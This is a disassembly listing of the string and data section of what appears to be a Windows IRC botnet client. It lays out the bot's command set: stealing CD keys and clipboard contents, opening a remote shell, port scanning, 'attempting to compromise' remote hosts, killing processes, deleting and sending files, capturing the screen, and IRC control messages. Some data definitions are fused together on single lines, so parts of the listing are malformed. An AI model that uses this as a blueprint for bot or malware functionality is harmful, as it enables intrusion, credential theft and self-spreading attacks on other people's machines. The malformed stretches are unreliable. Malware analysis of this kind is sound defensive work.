		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 10h
aThreads	db 'threads',0          ; DATA XREF: sub_4021E5+2774o
aT:					; DATA XREF: sub_4021E5+2791o
		unicode	0, <t>,0
aSub		db 'sub',0              ; DATA XREF: sub_4021E5+27EDo
dword_442720	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_4021E5+2826o
		dd 65726874h, 2E736461h, 0
unk_442740	db  2Dh	; -		; DATA XREF: sub_4021E5+28B4o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToStartL	db '- Failed to start list thread, error: <%d>.',0
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_4021E5+28EAo
aAl		db 'al',0               ; DATA XREF: sub_4021E5+2907o
		align 4
dword_442788	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_4021E5+292Eo
		dd 2E7473h
dword_4427A0	dd 676F6Ch	dword_4427A4	dd 676Ch	dword_4427A8	dd 7325h	dword_4427AC	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_4021E5+2A1Fo
		dd 2E676Fh
unk_4427C4	db  2Dh	; -		; DATA XREF: sub_4021E5+2AADo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToStar_2	db '- Failed to start listing thread, error: <%d>.',0
aClearlog	db 'clearlog',0         ; DATA XREF: sub_4021E5+2ACEo
		align 4
aClg		db 'clg',0              ; DATA XREF: sub_4021E5+2AEBo
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_4021E5+2B2Ao
aNi		db 'ni',0               ; DATA XREF: sub_4021E5+2B47o
		align 4
dword_442818	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_4021E5+2B86o
		dd 6F666E49h, 2Eh
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_4021E5+2BA6o
aSi		db 'si',0               ; DATA XREF: sub_4021E5+2BC3o
		align 10h
dword_442840	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_4021E5+2BFEo
		dd 2E6F666Eh, 0
aRemove		db 'remove',0           ; DATA XREF: sub_4021E5+2C1Eo
		align 4
aRm		db 'rm',0               ; DATA XREF: sub_4021E5+2C3Bo
		align 4
dword_442868	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_4021E5+2C59o
		dd 746F4220h, 2Eh
aProcs		db 'procs',0            ; DATA XREF: sub_4021E5+2C98o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_4021E5+2CB5o
		align 10h
unk_442890	db  2Dh	; -		; DATA XREF: sub_4021E5+2CE3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunning	db ' Already running.',0
		align 10h
aFull		db 'full',0             ; DATA XREF: sub_4021E5+2D5Ao
		align 4
dword_4428B8	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_4021E5:loc_404F59o
		dd 696C2073h, 2E7473h
unk_4428D4	db  2Dh	; -		; DATA XREF: sub_4021E5+2E02o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToStar_3	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_4021E5+2E38o
		align 4
aKey		db 'key',0              ; DATA XREF: sub_4021E5+2E55o
dword_442920	dd 234032Dh, 656B6463h,	3027379haSearchComplete	db '- Search completed.',0
aUptime		db 'uptime',0           ; DATA XREF: sub_4021E5+2ED7o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_4021E5+2EF4o
		align 4
dword_44294C	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_4021E5+2F76o
		dd 2E7325h
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_4021E5+2FCCo
		align 10h
aDrv		db 'drv',0              ; DATA XREF: sub_4021E5+2FE9o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_4021E5+3032o
		align 10h
aDll		db 'dll',0              ; DATA XREF: sub_4021E5+304Fo
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_4021E5+308Eo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_4021E5+30ABo
		align 4
unk_442994	db  2Dh	; -		; DATA XREF: sub_4021E5+30CBo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
unk_4429C0	db  2Dh	; -		; DATA XREF: sub_4021E5+3128o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_4429E8	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_405322o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_4021E5+3198o
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_4021E5+31B7o
		align 10h
dword_442A20	dd 234032Dh, 2646D63h, 2D03hdword_442A2C	dd 6F6877h	dword_442A30	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_4021E5+3212o
dword_442A44	dd 706D453Ch, 3E7974hdword_442A4C	dd 202E6425h, 7325hunk_442A54	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_4054A7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_4021E5+32DFo
aGc		db 'gc',0               ; DATA XREF: sub_4021E5+32FCo
		align 4
dword_442A84	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_4021E5+331Ao
		dd 2Dh
dword_442A9C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_4021E5+334Fo
		dd 72616F62h, 2E64h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_4021E5+336Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_4021E5+338Co
		align 4
unk_442ACC	db  2Dh	; -		; DATA XREF: sub_4021E5+33A5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_442AF0	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_4055A5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_4021E5+3421o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_4021E5+343Eo
		align 10h
unk_442B30	db  2Dh	; -		; DATA XREF: sub_4021E5+3465o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_442B54	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_405665o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
unk_442B80	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_405680o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
aCurrentip	db 'currentip',0        ; DATA XREF: sub_4021E5+34FCo
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_4021E5+3519o
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_4021E5+359Do
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_4021E5+35BAo
		align 10h
unk_442BD0	db  2Dh	; -		; DATA XREF: sub_4021E5+372Bo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListenin	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_442C0C	db  2Dh	; -		; DATA XREF: sub_4021E5+37BAo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_4	db ' Failed to start server thread, error: <%d>.',0
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_4021E5+3816o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_4021E5+3833o
		align 4
unk_442C5C	db  2Dh	; -		; DATA XREF: sub_4021E5+3853o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_0	db ' Already running.',0
		align 4
unk_442C7C	db  2Dh	; -		; DATA XREF: sub_4021E5+395Bo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_0	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_442CB0	db  2Dh	; -		; DATA XREF: sub_4021E5+39EAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_5	db ' Failed to start server thread, error: <%d>.',0
		align 4
aCrash		db 'crash',0            ; DATA XREF: sub_4021E5+3A46o
		align 4
dword_442CF4	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_4021E5+3A56o
		dd 746F6220h, 2Eh
aCrash_0	db 'crash',0            ; DATA XREF: sub_4021E5+3A9Co
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_4021E5+3ACAo
		align 10h
aScan_0		db 'scan',0             ; DATA XREF: sub_4021E5+3AE7o
		align 4
unk_442D28	db  2Dh	; -		; DATA XREF: sub_4021E5+3B85o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
unk_442D68	db  2Dh	; -		; DATA XREF: sub_4021E5+3CECo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_6	db '- Failed to start scan, port is invalid.',0
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_4021E5+3E98o
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_4021E5:loc_406089o
		align 4
unk_442DB4	db  2Dh	; -		; DATA XREF: sub_4021E5+3ED3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
unk_442E20	db  2Dh	; -		; DATA XREF: sub_4021E5+3F62o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_7	db '- Failed to start scan thread, error: <%d>.',0
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_4021E5+3FC3o
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+3FDAo
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_4021E5+4017o
unk_442E94	db  2Dh	; -		; DATA XREF: sub_4021E5+40AAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
unk_442EC4	db  2Dh	; -		; DATA XREF: sub_4021E5+4139o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_4021E5+4195o
		align 4
aRin		db 'rin',0              ; DATA XREF: sub_4021E5+41B2o
aQuitReconnec_0	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4021E5:loc_4063A7o
		align 10h
unk_442F30	db  2Dh	; -		; DATA XREF: sub_4021E5+41DEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_4021E5+4233o
aRinms		db 'rinms',0            ; DATA XREF: sub_4021E5+4250o
		align 10h
aQuitReconnec_1	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4021E5:loc_406445o
		align 4
unk_442F88	db  2Dh	; -		; DATA XREF: sub_4021E5+427Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
aNick_0		db 'nick',0             ; DATA XREF: sub_4021E5+42CBo
		align 4
aN:					; DATA XREF: sub_4021E5+42E8o
		unicode	0, <n>,0
aNickS_0	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_4021E5+4305o
		align 4
unk_442FC4	db  2Dh	; -		; DATA XREF: sub_4021E5+4322o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
aJoin		db 'join',0             ; DATA XREF: sub_4021E5+4343o
		align 10h
aJ:					; DATA XREF: sub_4021E5+4360o
		unicode	0, <j>,0
aJoinSS_1	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+438Ao
		align 4
unk_443004	db  2Dh	; -		; DATA XREF: sub_4021E5+43A7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
aPart_1		db 'part',0             ; DATA XREF: sub_4021E5+43C8o
		align 10h
aPt		db 'pt',0               ; DATA XREF: sub_4021E5+43E5o
		align 4
aPartS		db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_4021E5+4402o
		align 10h
unk_443040	db  2Dh	; -		; DATA XREF: sub_4021E5+441Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_4021E5+4440o
aR_1:					; DATA XREF: sub_4021E5+445Do
		unicode	0, <r>,0
aS_29		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4021E5+44A5o
		align 4
dword_443074	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_4021E5+44BBo
		dd 2E732520h, 0
aKillthread	db 'killthread',0       ; DATA XREF: sub_4021E5+44DCo
		align 4
aK:					; DATA XREF: sub_4021E5+44F9o
		unicode	0, <k>,0
aAll		db 'all',0              ; DATA XREF: sub_4021E5+451Ao
unk_4430A4	db  2Dh	; -		; DATA XREF: sub_4021E5+4544o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
unk_4430CC	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_40673Fo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4430F4	db  2Dh	; -		; DATA XREF: sub_4021E5+460Eo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_443118	db  2Dh	; -		; DATA XREF: sub_4021E5+4631o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
aC_quit		db 'c_quit',0           ; DATA XREF: sub_4021E5+4692o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_4021E5+46AFo
aQuitLater_0	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+46FCo
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_4021E5+47D7o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_4021E5+47F4o
		align 4
aNickS_1	db 'NICK %s',0          ; DATA XREF: sub_4021E5+484Fo
aS_1		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4021E5+486Ao
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_4021E5+48ABo
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_4021E5+48C8o
		align 10h
unk_443190	db  2Dh	; -		; DATA XREF: sub_4021E5+48FDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_4021E5+4959o
		align 10h
aO:					; DATA XREF: sub_4021E5+4976o
		unicode	0, <o>,0
aOpen_0		db 'open',0             ; DATA XREF: sub_4021E5+499Do
		align 4
unk_4431CC	db  2Dh	; -		; DATA XREF: sub_4021E5+49BBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_4431EC	db  2Dh	; -		; DATA XREF: sub_4021E5+49DEo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
aServer		db 'server',0           ; DATA XREF: sub_4021E5+4A3Ao
		align 4
aSe		db 'se',0               ; DATA XREF: sub_4021E5+4A57o
		align 4
unk_44321C	db  2Dh	; -		; DATA XREF: sub_4021E5+4A8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_4021E5+4AEAo
aDn		db 'dn',0               ; DATA XREF: sub_4021E5+4B07o
		align 4
unk_44324C	db  2Dh	; -		; DATA XREF: sub_4021E5+4B79o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_44326C	db  2Dh	; -		; DATA XREF: sub_4021E5+4BDEo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS__0	db '- Lookup: %s -> %s.',0
		align 4
unk_44328C	db  2Dh	; -		; DATA XREF: sub_4021E5+4BFBo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_4021E5+4C56o
		align 10h
aKp		db 'kp',0               ; DATA XREF: sub_4021E5+4C73o
		align 4
unk_4432C4	db  2Dh	; -		; DATA XREF: sub_4021E5+4CBDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_4432E4	db  2Dh	; -		; DATA XREF: sub_4021E5+4CE0o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_4021E5+4D3Co
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_4021E5+4D59o
		align 10h
unk_443320	db  2Dh	; -		; DATA XREF: sub_4021E5+4D99o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
unk_443344	db  2Dh	; -		; DATA XREF: sub_4021E5+4DBCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
aDelete		db 'delete',0           ; DATA XREF: sub_4021E5+4E18o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_4021E5+4E35o
dword_443380	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_4021E5+4E6Do
		dd 27732527h, 2Eh
dword_44339C	dd 234032Dh, 656C6966h,	2D0302hdword_4433A8	dd 746567h	dword_4433AC	dd 7467h	dword_4433B0	dd 7325h	unk_4433B4	db  2Dh	; -		; DATA XREF: sub_4021E5+4F9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
unk_4433D8	db  2Dh	; -		; DATA XREF: sub_4021E5+502Bo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStar_8	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
aList		db 'list',0             ; DATA XREF: sub_4021E5+5061o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_4021E5+507Eo
		align 10h
dword_443420	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_4021E5+50BBo
		dd 0
aVisit		db 'visit',0            ; DATA XREF: sub_4021E5+50DCo
		align 10h
aV:					; DATA XREF: sub_4021E5+50F9o
		unicode	0, <v>,0
dword_443444	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_4021E5+519Bo
		dd 2Eh
unk_44345C	db  2Dh	; -		; DATA XREF: sub_4021E5+522Ao
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStar_9	db ' Failed to start connection thread, error: <%d>.',0
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_4021E5+5260o
aMirc		db 'mirc',0             ; DATA XREF: sub_4021E5+527Do
		align 4
unk_4434AC	db  2Dh	; -		; DATA XREF: sub_4021E5+52D7o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_4434CC	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_4021E5:loc_4074D1o
		dd 746E6573h, 2Eh
dword_4434E8	dd 646D63h	dword_4434EC	dd 6D63h	dword_4434F0	dd 0Ah		unk_4434F4	db  2Dh	; -		; DATA XREF: sub_4021E5+53D4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
dword_443520	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_4021E5+5415o
		dd 732520h
aReadfile	db 'readfile',0         ; DATA XREF: sub_4021E5+544Bo
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_4021E5+5468o
		align 4
aR_0:					; DATA XREF: sub_4021E5:loc_407661o
		unicode	0, <r>,0
unk_44354C	db  2Dh	; -		; DATA XREF: sub_4021E5+54FDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 10h
unk_443570	db  2Dh	; -		; DATA XREF: sub_4021E5+5520o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_4021E5+557Co
		align 4
aOn		db 'on',0               ; DATA XREF: sub_4021E5+559Do
		align 10h
dword_4435A0	dd 234032Dh, 6E656469h,	3026474haAlreadyRunni_1	db '- Already running.',0
		align 10h
dword_4435C0	dd 234032Dh, 6E656469h,	3026474haServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_4435EC	dd 234032Dh, 6E656469h,	3026474haFailedToSta_10	db '- Failed to start server, error: <%d>.',0
		align 10h
aOff		db 'off',0              ; DATA XREF: sub_4021E5+5670o
dword_443624	dd 234032Dh, 6E656469h,	3026474haServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_44365C	dd 234032Dh, 6E656469h,	3026474haNoThreadFound_	db '- No thread found.',0
		align 4
aNet		db 'net',0              ; DATA XREF: sub_4021E5+5711o
aStart		db 'start',0            ; DATA XREF: sub_4021E5+578Co
		align 4
aS_2		db '%s',0               ; DATA XREF: sub_4021E5+57BCo
		align 4
unk_44368C	db  2Dh	; -		; DATA XREF: sub_4021E5+57EDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
unk_4436B0	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_4079E7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
aStop		db 'stop',0             ; DATA XREF: sub_4021E5+5827o
		align 4
aS_3		db '%s',0               ; DATA XREF: sub_4021E5+5847o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_4021E5+586Do
		align 4
aS_4		db '%s',0               ; DATA XREF: sub_4021E5+588Do
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_4021E5+58B3o
		align 4
aS_5		db '%s',0               ; DATA XREF: sub_4021E5+58D3o
		align 4
aDelete_0	db 'delete',0           ; DATA XREF: sub_4021E5+58F9o
		align 10h
aS_6		db '%s',0               ; DATA XREF: sub_4021E5+5919o
		align 4
aShare		db 'share',0            ; DATA XREF: sub_4021E5+593Fo
		align 4
aS_7		db '%s',0               ; DATA XREF: sub_4021E5+5988o
		align 10h
aS_8		db '%s',0               ; DATA XREF: sub_4021E5+59C3o
		align 4
unk_443714	db  2Dh	; -		; DATA XREF: sub_4021E5+59F6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
unk_443738	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_407BF0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_4021E5+5A30o
		align 10h
aS_9		db '%s',0               ; DATA XREF: sub_4021E5+5A8Co
		align 4
aS_10		db '%s',0               ; DATA XREF: sub_4021E5+5AE9o
		align 4
aS_11		db '%s',0               ; DATA XREF: sub_4021E5+5B28o
		align 4
unk_44376C	db  2Dh	; -		; DATA XREF: sub_4021E5+5B5Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_44378C	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_407D55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4021E5+5B95o
		align 4
aS_12		db '%s',0               ; DATA XREF: sub_4021E5+5BD3o
		align 4
unk_4437B8	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_407DCEo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
unk_4437DC	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_407DE3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_4437F8	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_407DF8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aCapture	db 'capture',0          ; DATA XREF: sub_4021E5+5C6Eo
aCap		db 'cap',0              ; DATA XREF: sub_4021E5+5C8Bo
aScreen		db 'screen',0           ; DATA XREF: sub_4021E5:loc_407E84o
		align 4
unk_443844	db  2Dh	; -		; DATA XREF: sub_4021E5+5CF1o
		db 3, 34h, 2
